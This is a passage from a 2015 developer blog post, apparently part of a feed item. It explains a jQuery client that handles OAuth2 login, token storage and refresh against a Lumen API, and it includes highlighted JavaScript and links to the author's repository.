class="na">login</span><span class="p">:</span> <span class="kd">function</span><span class="p">()</span> <span class="p">{</span> <span class="nx">alert</span><span class="p">(</span><span class="s2">"You are now authenticated."</span><span class="p">);</span> <span class="p">},</span> <span class="na">logout</span><span class="p">:</span> <span class="kd">function</span><span class="p">()</span> <span class="p">{</span> <span class="nx">alert</span><span class="p">(</span><span class="s2">"You are now logged out."</span><span class="p">);</span> <span class="p">},</span> <span class="na">tokenExpiration</span><span class="p">:</span> <span class="kd">function</span><span class="p">()</span> <span class="p">{</span> <span class="k">return</span> <span class="nx">$</span><span class="p">.</span><span class="nx">post</span><span class="p">(</span><span class="s2">"/refresh-token"</span><span class="p">).</span><span class="nx">success</span><span class="p">(</span><span class="kd">function</span><span class="p">(</span><span class="nx">response</span><span class="p">){</span> <span class="nx">self</span><span class="p">.</span><span class="nx">authClient</span><span class="p">.</span><span class="nx">setAccessToken</span><span class="p">(</span><span class="nx">response</span><span class="p">.</span><span class="nx">accessToken</span><span class="p">,</span> <span class="nx">response</span><span class="p">.</span><span class="nx">accessTokenExpiration</span><span class="p">);</span> <span class="p">});</span> <span class="p">}</span> <span class="p">}</span> <span class="p">});</span> <span class="p">}</span> <span class="nx">Client</span><span class="p">.</span><span class="nx">prototype</span><span class="p">.</span><span class="nx">_setupEventHandlers</span> <span class="o">=</span> <span class="kd">function</span> <span class="nx">_setupEventHandlers</span><span class="p">()</span> <span class="p">{</span> <span class="nx">$</span><span class="p">(</span><span class="s2">"#login"</span><span class="p">).</span><span class="nx">click</span><span class="p">(</span><span class="k">this</span><span class="p">.</span><span class="nx">_login</span><span class="p">.</span><span class="nx">bind</span><span class="p">(</span><span class="k">this</span><span class="p">));</span> <span class="nx">$</span><span class="p">(</span><span class="s2">"#request"</span><span class="p">).</span><span class="nx">click</span><span class="p">(</span><span class="k">this</span><span class="p">.</span><span class="nx">_request</span><span class="p">.</span><span class="nx">bind</span><span class="p">(</span><span class="k">this</span><span class="p">));</span> <span class="nx">$</span><span class="p">(</span><span class="s2">"#logout"</span><span class="p">).</span><span class="nx">click</span><span class="p">(</span><span class="k">this</span><span class="p">.</span><span class="nx">_logout</span><span class="p">.</span><span class="nx">bind</span><span class="p">(</span><span class="k">this</span><span class="p">));</span> <span class="p">}</span> <span class="nx">$</span><span class="p">(</span><span class="nb">document</span><span class="p">).</span><span class="nx">ready</span><span class="p">(</span><span class="kd">function</span><span class="p">()</span> <span class="p">{</span> <span class="kd">var</span> <span class="nx">client</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">Client</span><span class="p">;</span> <span class="p">});</span> </code></pre> </div> <p> Three things are going on here that are worth noticing. </p> <h4 id="1-login-callback">1. Login callback</h4> <p> Once the user hits our login button his credentials are sent to our login endpoint <code>POST /login</code>. If we get an access token back we store it using <code>jquery-oauth</code>. </p> <h4 id="2-jquery-oauth-for-access-token-management-and-storage">2. jquery-oauth for access token management and storage</h4> <p> <a href="https://github.com/esbenp/jquery-oauth" target="_blank">esbenp/jquery-oauth</a> is setup as the first thing for managing access tokens. It will store the access token in localstorage. If you refresh the page it will look for the access token and reauthenticate the user if a token was found. When a new access token is passed to the manager it will automatically add a authorization header <code>Authorization: Bearer {accessToken}</code> to all subsequent requests. This is used by our API to authenticate the user. </p> <p> Because access tokens are short lifed by design (10 minutes) the user will eventually request the API with an expired token. When this happens a 401 response will be sent back to the client. jquery-oauth picks up on this response and buffers all the requests that are sent to the server with 401 responses. It will request a new access token using the refresh token. If the refresh token is still valid and an new access token is acquired all the buffered requests will be refired. </p> <h4 id="3-api-requests-have-proper-headers-automatically-set">3. API requests have proper headers automatically set</h4> <p> As previosuly mentioned when we call <code>GET /resource</code> using <code>$.ajax</code> jquery-oauth will already have our access token attached as a header. The OAuth2 middleware on the server will check if the access token is valid before returning our resource. </p> <h2 id="conclusion">Conclusion</h2> <p> We have now (1) installed an OAuth2 Lumen server, (2) configured it with proper management and user infrastructure, and lastly (3) created a simple example of a client that effectively manages tokens and API requests. </p> <p> The code for this post can be found at <a href="https://github.com/esbenp/lumen-api-oauth" target="_blank">https://github.com/esbenp/lumen-api-oauth</a>. Questions are welcome at <a href="mailto:ep@traede.com">ep@traede.com</a> or twitter <a href="https://twitter.com/esbenp">@esbenp</a> </p> Tue, 26 May 2015 12:00:00 +0200 http://esbenp.github.io/2015/05/26/lumen-web-api-oauth-2-authentication/ http://esbenp.github.io/2015/05/26/lumen-web-api-oauth-2-authentication/